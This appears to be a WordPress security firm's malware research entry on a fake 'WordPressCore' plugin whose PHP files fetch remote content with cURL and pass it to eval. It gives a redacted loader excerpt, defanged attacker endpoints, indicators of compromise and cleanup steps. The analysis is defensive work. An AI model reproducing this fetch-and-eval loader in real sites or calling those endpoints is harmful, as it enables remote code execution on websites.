Start with the problem you are seeing
Could this match the problem on your WordPress site?
This entry helps owners investigate a plugin named WordPressCore that may be mistaken for a legitimate platform component. The retained files contained a remote PHP loading path; the response and resulting behavior were not preserved.
Observed in this investigation
- The supplied WordPressCore plugin files contained code that retrieved and evaluated a remote response.
Possible warning signs
- The plugin name may make the directory look like a normal WordPress component during a quick review.
- The site may show no consistent symptom because the absent remote response controlled further behavior.
These signs are investigation leads, not proof of this artifact by themselves.
Questions this research can help answer
- Is WordPressCore a legitimate WordPress core plugin?
- Why would a plugin fetch and evaluate PHP from another server?
Evidence boundary: The loader is confirmed, but the remote payload, initial access path, and runtime result are not available.
Seeing one of these signs on your site?
I can investigate the files, database records, users, and server evidence, explain what is confirmed, and help plan a safe cleanup.
Research focus: Forensic review of a WordPressCore plugin directory containing small PHP files that retrieved remote text and passed it to eval.
Summary
This WordPress malware research entry documents fake plugin remote php loader evidence observed during one anonymized client investigation. The narrow topic is WordPressCore Fake Plugin with cURL-to-eval Loader Files: the page records the exact artifact, identifiers, and visible control flow instead of repeating a general malware-removal article.
These are remote PHP loaders because successful responses are supplied to eval. The public page does not call either endpoint or reproduce a fully operational loader.
Investigation context
Anonymized investigation with three screenshots and retained source for two small remote loader files. The report date is retained from the original investigation notes. Broader cleanup guidance remains in the WordPress malware removal guide; this entry is limited to what the supplied code and screenshots support.
Observed artifact
hibgqdnj.php implemented a remote-content evaluation path.

Confirmed findings
- hibgqdnj.php initializes cURL with ndot[.]us/za.
- It retrieves a response and passes it to eval.
- A second supplied file defines a get helper and evaluates content retrieved from rentry[.]co/mmgbs/raw.
- The files were grouped under a WordPressCore plugin-like directory in the retained investigation.
Technical analysis
How the loader hands a remote response to PHP
The following code keeps the identifiers and control flow needed for defensive verification while removing secrets, complete payloads, and operational request instructions.
Redacted defensive excerpt
$url = 'hxxp://ndot[.]us/za';
$response = curl_exec(/* initialized handle */);
// error handling and endpoint details shortened
eval('?>' . $response);
This excerpt is intentionally incomplete. It should be used for code search, baseline comparison, and incident review—not copied into a live site.
Analyst assessment
These are remote PHP loaders because successful responses are supplied to eval. The public page does not call either endpoint or reproduce a fully operational loader.
The severity reflects the capability visible in this artifact and its position in the investigated WordPress environment. It is not a claim about campaign prevalence, a particular vulnerability, or an outcome that the retained evidence does not show.
Indicators of compromise
Higher-confidence indicators
WordPressCore directory in this incidenthibgqdnj.phpiaactvgd.phpndot[.]us/za and rentry[.]co/mmgbs/raw loaders
Contextual indicators
cURLeval()crypto.txtinclude.php
Contextual indicators are not proof of infection by themselves. Confirm them through trusted-file comparison, neighboring code, database provenance, request logs, or the distinctive combinations listed above.
What this evidence does not establish
- No retained network response confirms what either endpoint returned.
- The screenshot does not prove execution.
- The initial compromise method and relationship to crypto.txt were not established.
- The hosting-account screenshot and full encoded blob are excluded for privacy and code safety.
Artifact-specific remediation
- Preserve the entire fake plugin directory and relevant egress logs.
- Remove the directory and replace any affected legitimate components with trusted copies.
- Search for the two filenames, endpoints, and response-to-eval structure.
- Block known incident-specific endpoints as a secondary containment measure.
For a complete response sequence, use the broader malware-removal guide or the WordPress malware-removal service when hands-on incident response is appropriate.
Recurrence verification
- Verify the directory and small loader files do not return.
- Review outbound logs for repeated requests to the defanged endpoints.
- Monitor plugin paths for newly generated short PHP filenames.
Related malware research
Browse the WordPress malware research hub.
- Advanced LinkFlow Control Plugin Concealment and Remote Fetching
- WP-Security Fake Plugin with an eval Decode Wrapper
- system-control Plugin Restored from wp-content/.sc-backup
Related guides and case studies
Methodology and privacy note
This analysis is based on retained code, screenshots, paths, and notes from an anonymized WordPress client investigation. Confirmed findings are limited to visible or supplied evidence; professional interpretation is labeled as analyst assessment. Screenshots were reviewed for client identifiers, account paths, usernames, email addresses, credentials, tokens, database details, and unrelated records. Sensitive or operational material remains outside the public page, and every public code block is a redacted defensive excerpt.